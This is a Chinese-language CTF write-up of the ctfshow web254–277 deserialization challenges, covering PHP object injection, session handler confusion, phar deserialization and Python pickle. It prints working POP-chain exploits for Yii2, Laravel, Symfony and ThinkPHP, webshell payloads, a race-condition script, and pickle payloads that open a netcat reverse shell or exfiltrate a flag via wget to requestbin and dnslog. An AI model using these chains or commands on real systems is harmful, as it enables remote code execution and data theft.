web254
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
主要目的在于了解php的类 方法的调用
面向对象编程中最核心的概念就是类(Class)和对象(Object),类是对象的抽象模板,而对象是类的具体实例,比如「Laravel 精品课」是一个课程,那么课程就是一个类,而「Laravel 精品课」是这个类的一个实例,或者更直观一些,我们把学生看作一个类,那么具体的某个学生,比如张三、李四就是学生类的实例。对象包含的数据称之为类属性(Property),操作数据的函数称之为类方法(Method)。
我们还可以从另一个角度来看类和对象,以 PHP 为例,基本数据类型包括整型、浮点型、字符串、布尔类型、数组,对于整型这个类型而言,1、2、3、4、5 这些具体的数字就是它的实例(对象),我们也可以把自定义的类看作一个数据类型,只是这个类型是基本类型之外的真实世界复杂类型的映射,比如学生、课程、汽车、飞机、学校、公司、项目等等,对于学生这个类型而言,每一个个体的学生就是它的实例(对象)。
我们可以为这个类定义一些属性,这些属性可以是变量,也可以是常量
有了属性之后,可以通过方法进行设置和获取
$this
指当前对象。
$this->
调用当前对象的属性或者方法。在类中使用
$this->
调用一个未定义的属性时,PHP5会自动创建一个属性供使用这个被创建的属性,默认的方法权限是public
除此之外,还可以编写其他自定义方法
有了这些基本的类属性和方法后,就可以基于这个类创建具体的对象并调用对象方法执行任务了,我们通常将基于类创建对象的过程称之为实例化,在 PHP 中,我们通过
new
关键字进行类的实例化然后就可以操作类属性或者调用类方法了,类常量值不可更改,只能访问,在类外面访问类常量,需要通过类名 +
::
+ 常量名的方式:var_dump(Car::WHEELS);由于常量是类级别的,无需实例化即可访问。而对于对象级别的类属性(变量类型),需要通过实例化后的对象才能访问,并且访问之前,需要先设置:
$car->seats = 5; var_dump($car->seats);要访问类方法,直接通过对象实例 +
->
+ 方法名即可在 PHP 中,对象级别的属性和方法,都是通过箭头符
->
进行访问的
还要好好学面向对象编程 这个学面向对象编程的时间可能有点晚...
首先定义了一个ctfShowUser类 在下面的逻辑代码中$user = new ctfShowUser();
对ctfShowUser类进行了实例化 $user
就是ctfShowUser类的一个实例 这个示例可以调用类中的属性($username
,$password
,$isvip
),还可以调用类中的方法(checkVip()
,login($u,$p)
,vipOneKeyGetFlag()
)
分析ctfShowUser类
首先声明了三个属性
然后声明了checkVip()方法 可以获取$isVip的内容
接着声明了login($u,$p)
方法 检查$u
,$p
True 则把isVip赋值为true 返回isVip的值
最后定义了获取flag的方法
类之后GET传了两个参数 在下面实例化后的代码中作为login的两个参数
所以只要GET传进去的参数值可以符合login的校验即可
web255
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
只有这两部分发生了变化
不能通过认证isVip为ture通过验证了
cookie反序列化 我们只需要把需要更改的信息序列化之后传进cookie就可以了 cookie我们是可以更改的
写脚本echo出更该后的类 注意url编码 访问控制(public,protected,private)中是有不可见字符的
注意绕过判断
web256
这次新增了一个判断
可如果我们要login的话一定是一样的
但是这个位置是!== 两个等号 在php中是弱类型比较 xxxxxx==xxxxxx1
重新编写一下序列化脚本 我们可以直接更改类中的属性 保证弱类型相等的同时保证login判断 即可
反序列化是一种漏洞 但更多是一种利用方式 很多事后会结合很多其他考点来进行考察
web257
感觉到这一道题才算是正式进入反序列化 diamagnetic完全不一样了
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
反序列化的主要思路就是 虽然不能更改类方法的代码 但是可以通过控制序列化后类方法的属性来实现目的
可以看到backdoor类里面很明显的代码执行
我们可以把ctfShowUser类里面的construct()方法中的属性更改 使consturct()执行backdoor类进而导致任意代码执行
这里就是很典型、很一目了然的更改类方法的属性
web258
代码新增了这一部分正则匹配的内容
正则匹配的意思就是匹配 o:数字和c:数字形式的字符 不分大小写 这里涉及一个序列化格式的问题
大概就是类 O 属性 s
O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUserisVip";b:0;s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:16:"eval($_POST[1]);";}}
这一串使web257不经过url编码的payload 可以发现 类之前都使o:数字的形式 我们反序列化也不可能不经过类
这里需要换一下思路进行绕过 11和+11的意思显然是一样的 但是不会被正则匹配 这种思路也是绕过正则的常见思路
脚本在phpstudy_pro根目录里
web259
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
这里的代码很简单 反序列化vip参数 然后调用一个vip的getFlag()方法
php有一个机制 如果调用了一个不存在的方法 就会调用当前类的__call方法
可以知道这是一个原生类的SSRF
<?php $ua = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua)); #$client->getFlag(); echo urlencode(serialize($cilent));
在本地用nc测试 查看SSRF情况
通过我们可控的部分改变整个结果
然后序列化传给vip 然后根据最前面代码的逻辑 再绕过三次XFF 最后就会有带flag的flag.txt生成
web260
考点单一
字符串序列化后仍是字符串
直接传参即可
web261
打开一看 全是魔术方法 unserialize都是魔术方法
-
考点:
__unserialize()
在PHP7.4以上版本会跳过
__wakeup
的执行
在7.4以下也有一个CVE 可以通过属性数量不一致的方法绕过__wakeup
__invoke
反射方法 如果有直接通过类名进项调用的则执行该魔术 方法
__sleep
会在序列化方法 serialize
执行之前调用 这里也没有
所以这里只需要关注__construct
和__destruct
就可以了
__construct
是构造方法 对象创建完成后第一个被对象自动调用的方法
__destruct
是销毁方法 析构方法 析构方法允许在销毁一个类之前执行的一些操作或完成一些功能
看代码的业务逻辑
这里的code是一个弱类型比较 0x36d没有加单引号 不是字符串格式 进制转换后相当于是一个数字 877
在__unserialize的逻辑里可以看到code=username.password
然后file_put_contents
创建一个文件 文件名 文件内容
综上 我们只需要通过__construct给属性赋值 然后弱类型比较绕过if判断 就可以利用file_put_contents
创建一个一句话木马文件
成功执行
web262
新的代码
有一个构造方法获取f m t三个参数并赋值
下面的代码逻辑就是简单的类的调用 需要注意的点应该在str_replace
这里将序列化后的$mag
中的fuck替换为五个字母的loveU
会引发字符逃逸
然后setcookie
进入之后可以看到新的代码逻辑
编写脚本做个实验 可以看到fuck属性处
";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
理解起来还是很容易的
序列化的时候str_replace会将四个字符的fuck替换为五个字符的loveU 但是序列化时输出的仍是fuck时的字符数 我们可以在要检查的位置的被检查字符后面跟上我们自己的payload 当符合序列化格式的时候 我们的恶意payload就会顶替掉原本的payload 成功污染到我们想要污染的属性
web263
源码泄露 首先下载源码包 进行代码审计
首先看到index.php
第五行这段代码明显写错了 把limit错写成了limti 那么这里会一直为空 >5的情况不会出现 相当于只有后面的base64解码cookie
下面一帮代码很有意思 是一段对cookie进行覆盖的代码 原来cookie解不出来可能这么简单的逆向就可以解了
然后看一下登陆逻辑 很简单 也没什么错误
跟进到包含的inc.php中
这里出现了一个很重要的东西
php.ini中存在关于session的几项配置
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列化存储有关的选项
在phpstudy默认配置的php.ini中可见:
session.save_path = "N;/path" session.save_handler = files session.auto_start = 0 session.serialize_handler = php
在上述的配置中,session.serialize_handler
是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
-
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过
serialize()
函数序列化处理的值 -
php:存储方式是,键名+竖线+经过
serialize()
函数序列处理的值 -
php_serialize(php>5.5.4):存储方式是,经过
serialize()
函数序列化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');
。
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid
来进行命名的,文件的内容就是session值的序列化之后的内容。
在phpstudy中进行尝试:
<?php session_start(); $_SESSION['name'] = 'sp4c1ous'; var_dump($_SESSION['name']); ?>
这里可以看到我们的PHPSESSID 然后可以在临时文件夹中发现我们的session文件
可以发现 session文件名的后缀和我们的PHPSESSID是一致的 存储方式也和我们上面所说的php方式的存储方式一致
我们再来看一下其他引擎下的内容
由于name
的长度是4 所以这里是<0x04>
PHP Session中的序列化危害
PHP中的Session的实现是没有问题的,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储$_SESSION
数据时 所使用的引擎和序列化时使用的引擎不一样,就会导致数据无法正确地反序列化。 通过精心构造的数据包,我们就可以绕过程序的验证或者是执行一些系统的方法。
例如:
$_SESSION['SP4C1OUS'] = '|O:7:"sp4c1ous":0:{}';
上述的$_SESSION的数据使用php_serialize
引擎存储后的结果就是:
a:1:{s:8:"SP4C1OUS";s:20:"|O:7:"sp4c1ous":0:{}";}
但是如果我们在进行读取的时候,选择的是php
引擎 最后读取的结果就会显示为
array (size=1) 'a:1:{s:8:"SP4C1OUS";s:20:"' => object(__PHP_Incomplete_Class)[1] public '__PHP_Incomplete_Class_Name' => string 'sp4c1ous' (length=7)
这是因为当使用php引擎的时候,php引擎会以 |
作为作为key和value的分隔符,那么就会将a:1:{s:8:"SP4C1OUS";s:20:"
作为SESSION的键值key,将O:7:"sp4c1ous":0:{}
作为value,然后进行反序列化,最后就会得到sp4c1ous这个类。
可见,这样序列化和反序列化使用的不一样的引擎就是造成PHP Session反序列化漏洞的成因。
回到题目
我们可以根据源码重复声明了引擎为php推断,当前配置时php_serialize而不是php 当前常用的只有这两种引擎
那么我们就可以在当前php里找一下有没有操作cookie的地方 没有操作cookie的地方
但是我们可以发现可以利用类
参数 username和password我们都可控 而且是file_put_contents 那么我们可以利用这里写一个shell
还有,如果包含了inc.php的话 读取方法就也会变成php处理器
像这里(听直播的就会知道,这里在服务器上的代码是有这个包含的 但是我们下载的源码包里没有 如果这里的写入方式不是php引擎的话我们就没法做了哈)
这里的cookie是我们可控的 会直接base64解码后赋值给session
访问check.php这里我不是很理解 网上师傅们发出来的wp要不就是简单的步骤操作 要不就是口径不一致 说什么的都有 直播中也只是简单的直接说访问check.php反序列化
询问了一下群主 发现钻牛角尖了
访问一遍check.php的目的就是为了利用包含了inc.php后的php引擎 index.php也就是没有包含inc.php的
有些问题还是存在 但是这样理解起来起码思路通畅了很多
过于各种session cookie配置的问题还是让人头晕啊 什么都不会的人果然不能细审代码QAQ
接下来就要构造payload了
我们刚刚已经看到插入|
的效果了 现在我们需要的就是找到合适的位置插入|
首先写一下payload:
这一串就是我们构造的payload通过session_serialize序列化出来的值
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}}
我们想要利用的话就要把O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>?php eval($_POST[1]);?";s:6:"status";N;
这一串User类的调用都包含进去
其中 username和password是我们可以控制的 那么我们可以利用php引擎的特性 在username处手动添加|
构造成像下面这样形式 给php的引擎反序列化
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php|O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php ";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}}
php引擎读取的时候就会自动把|
之前的内容当作键值不管 在传入session后对后面的内容自动进行反序列化
总结一下:
index.php传进去cookie
然后访问check.php 利用它的php引擎 触发session反序列化漏洞 导致恶意代码的写入
进而访问写好的恶意文件
这里还有个小点 因为服务器里闭合等问题 payload写入的内容最后被改成了这样
成功!
Web264
题目源码和262一摸一样 一样的反序列化逃逸 只变了几个地方
这就成了 要你传参反序列化 但是又要你有cookie 不然绕不过if
感觉没什么意义的一道题 算是练代码审计了?
写一写 和之前也一样
web265
崭新的源码 主要问题出在这个token 伪随机数我是知道的 但是这里不知道seed 不知道随机数值 怎么爆破呢
什么玩意 面向对象编程白学了 这玩意是赋值啊 $ctfshow-->token
表示引用token 赋值token为md5(mt_rand()) 所以这里我们的token是不可控的 可控的值只有password
这里是关于php中引用的一个知识点
为了保证token和password全等 我们编写了如下代码
&
表示引用 变量变但指针不变 相当于让password的内存地址指向了token的内存地址 导致二者===
web266
这里主要的问题是在最后的抛出异常
我们需要绕过最后的抛出异常执行销毁方法echo flag
我们可以通过让序列化的值错误
类名存在但是里面的值反序列化异常 这种情况下虽然会抛出异常 但是同样会执行__destruct魔术方法
web267
这里暴露了信息搜集学得不好了
题目点击进入后是一个模仿真实环境的前端 中间的访问ctfshow时直接指向链接的不存在问题 点击后续内容时会发现 URL中会出现get参数 尝试进行源码获取 利用ssrf以及文件包含 无果
这里毕竟是反序列化漏洞专题 打开网页源代码 我们可以看到该页面使用的时yii
模板 我们可以点开观察 大概率为yii2 而yii2是存在CVE的 网上已经爆出来了它的POP链 (这些都是菜鸡师傅说的....)
CVE-2020-15148 Yii2框架反序列化漏洞
还有弱口令
admin admin即可登陆
发现About界面出现变化 查看源代码 发现hint
要注意一下修改方法 要同时get二者
我们成功获得了yii2反序列化漏洞中最重要的反序列化入口点了 接下来使用现成的POP链就ok了
如下POC:
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
执行的点在这里
经测试成功
发现system ls并没有回显 羽师傅的博客里也有提到 推荐使用了shell_exec
还是没有回显 去看了菜鸡师傅的视频 发现找命令执行这个过程太太太漫长和曲折了
首先 在确定了phpinfo 1
成功执行了的情况下 确实是存在命令执行漏洞的
但是执行system ls
没有回显 针对亲厚二者分别进行了system id
和shell_exec ls
两种命令 都没有回显
想了一下参数只有一个的函数 尝试var_dump函数 var_dump $this
成功回显 离了个谱了妈的
尝试file_put_contents /etc/password
没有回显
先在本地测试了print_r()
能回显 于是 print_r /etc/password
发现print_r只能调用一次 也就是直接回显/etc/password
猜测可以用带外来防止不能回显的情况发生 首先在dnslog.cn里get
shell_exec wget `whoami`.4t6tui.dnslog.cn
发现可以带外 尝试ls \
应该是因为有空格失败了
但是转念一想 这说明shell_exec
可以执行 尝试直接写木马文件shell_exec echo"<?php eval($_POST[1]);?>" > /var/www/html/1.php
访问 失败了
猜测可能使我们当前页面并不在根目录下 利用外单看一下pwd
`
shell_exec wget `pwd|base64`.4t6tui.dnslog.cn
没带出来 猜测是因为有特殊符号 对pwd进行base64编码 成功外带 并且解码之后发现确实不在网站根目录 在/var/www/html/basic/web
像这个目录中写马 访问后发现报错 因为有空格
去掉空格 又发现报错 和之前一次一样 因为字符编码导致的奇怪报错 在后面加一个phpinfo后成功执行了
shell_exec echo "<?php eval($_POST[1]);phpinfo();?>" > /var/www/html/basic/web/100.php
写入木马后爆500 正常情况 直接访问 错了 尝试/$
转义$号 失败 尝试把外面写成双引号 里面写成单引号
没写进去 转义$号 一开始直接在URL进行发送 没有写入成功 后来在Hackbar里写 就写进去了
奇怪的事情
ctfshow{f5e5c25f-20b6-4085-9cb9-f2da074f1795} 忘记截图了 被折磨了太久 直接关了...
总之成功命令执行!
web268
和上个题一样
但是上一道题的POP链打不通了... 要换一个POP链
<?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('system', 'whoami'); echo(base64_encode(serialize($exp))); }
用这个 上次的命令 就能过
再整理一下另外几个POC
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'dir'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['render'] = [new CreateAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See{ protected $description; public function __construct() { $this->description = new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache{ private $keys = []; private $path; public function __construct() { $this->path = new See; $this->keys = array( "axin"=>array("is"=>"handsome") ); } } // 生成poc echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); } ?>
POC3
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?>
出奇的顺利
web269
上一个题的paylaod就能打通
web270
同上
web271
这里是一个使用Laravel
框架的代码
同样 网上也能够找到已经公布的POP链
laravelv5.7反序列化rce(CVE-2019-9081)
POC
<?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application $this->command = $command; //要执行的php函数 system $this->parameters = $parameters; //要执行的php函数的参数 array('id') } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation { class Application { protected $instances = []; public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag')); echo urlencode(serialize($pendingcommand)); }
没有那么多莫名其妙不能执行指令的情况 真好~
web272
上道题的POC打不通了
hint也说了换个姿势 看了一下 发现是 Laravel
版本换了
Laravel5.8.x反序列化POP链
POC
<?php namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>"); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); } ?>
web273
这里用上个题的POC打通了 找了一下 果然还有一种POC 记一下记一下
<?php namespace Symfony\Component\Cache{ final class CacheItem { protected $expiry; protected $poolHash; protected $innerItem; public function __construct($expiry, $poolHash, $command) { $this->expiry = $expiry; $this->poolHash = $poolHash; $this->innerItem = $command; } } } namespace Symfony\Component\Cache\Adapter{ class ProxyAdapter { private $poolHash; private $setInnerItem; public function __construct($poolHash, $func) { $this->poolHash = $poolHash; $this->setInnerItem = $func; } } class TagAwareAdapter { private $deferred = []; private $pool; public function __construct($deferred, $pool) { $this->deferred = $deferred; $this->pool = $pool; } } } namespace { $cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami"); $proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system'); $tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter); echo urlencode(serialize($tagawareadapter)); }
web274
已经了解了后面这一块的出题思路了 这里就是ThinkPHP的反序列化CVE咯
查看源码发现入口
POC
<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
这里还有一个参数lin
表示的是临时的意思 反序列化会调用这个参数里面的命令作为我们写入的system的参数
web275
代码逻辑很简单
首先审一遍 可以发现没有反序列化入口 有个php//input
文件包含 但是没法利用 只能继续细审一遍代码
首先是一个filter
类 利用__construct
获取两个参数 还有一个定义为false的参数 再checkevil中可以摆正为ture
分别是正则匹配php ..和正则匹配flag
再然后是一个销毁方法 其中有system
这一看就是我们要利用的点 可以借助拼接执行命令
最后在下面的代码里我们可以看到content
是我们不能控制的 但是filename
我们是可以通过$_GET['fn']
控制的
后面的代码是判断非恶意文件之后进行的一个写入操作 我们这里并不需要利用这里
这道题目学习的重点还是在魔术方法上 这应该也是放在了序列化里的原因吧
__destruct
当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile是true就可以了执行系统命令。
还有一种方法 上传木马文件时利用条件竞争
这里就是不停的创建文件然后删除 文件删除和文件上传不是同频的 文件删除是有一定间隔的 我们可以用burpsuite写两个intruder一个上传一个访问 然后在成功访问的时候进行恶意操作
web276
这道题比上一道多了admin 但是整个类和下面的业务代码都没有出现能够直接反序列化操纵admin的地方
但是~ 这里因为有上传文件的代码 可以用phar反序列化 又是他妈的学艺不精的一块 上脚本 待学习
之前说过这里上传文件是要条件竞争的 脚本如下
import requests import hashlib import threading url="http://6e1721cc-e255-46b3-89e9-59d9b4880eb5.challenge.ctf.show:8080/" f=open("phar.phar","rb") content=f.read() def upload(): r=requests.post(url=url+"?fn=phar.phar",data=content) def read(): r=requests.post(url=url+"?fn=phar://phar.phar/",data="1") if "ctfshow{" in r.text or "flag{" in r.text: print(r.text) exit() while 1: t1=threading.Thread(target=upload) t2=threading.Thread(target=read) t1.start() t2.start()
生成phar的脚本
<?php class filter{ public $filename = "1|cat f*"; public $filecontent; public $evilfile = true; public $admin = true; } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new filter(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
后面的部分其实都是一样的 直接抄就行 前面要改的属性按需改一下就好了
注意需要修改php.ini
[Phar] ; http://php.net/phar.readonly phar.readonly = Off[Phar] ; http://php.net/phar.readonly phar.readonly = Off
一开始条件竞争跑不出来
后来换成了上面的脚本跑出来了 上面没跑出来的这里应该是因为POST里data参数的问题 改一下命名就跑出来了
web277
放题顺序有问题 竟然把277放到了276前面 菜鸡师傅真的有够菜的~
进来直接一首信息搜集找到了后门
很可惜我看不懂这里写的是什么
这里是python反序列化 从pickle类 可以看出来
扒了俩脚本 具体学习 在写完php反序列化之后再说
import pickle import base64 class A(object): def __redure__(self): return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 端口 -e /bin/sh").read()',)) a = A() test = pickle.dumps(a) print(base64.b64encode(test))
这东西执行的位置学过SSTI的都认识 就python里的命令执行 这里直接nc反弹shell了
感觉这就是一个最简单的序列化
import os import pickle import base64 class RunCmd(object): def __reduce__(self): return (os.system,('wget http://requestbin.net/r/duwbu270?a=`cat fla*`')) print(base64.b64encode(pickle.dump(RunCmd())))
requestbin不会不知道吧 外带信息用的 然后拼接命令 看菜鸡师傅都用dnslog+base64
但是这个脚本是跑不通的 它报错... 可以用上面的执行requestbin外带
和网上的众多师傅一样 这道题我也没有打通 认真学了python反序列后一定要再回来打一边 吐血.jpg
278也不打了 277都打不通 nc是因为要到外网打 但是requestibn为什么带不出来呢 我不理解..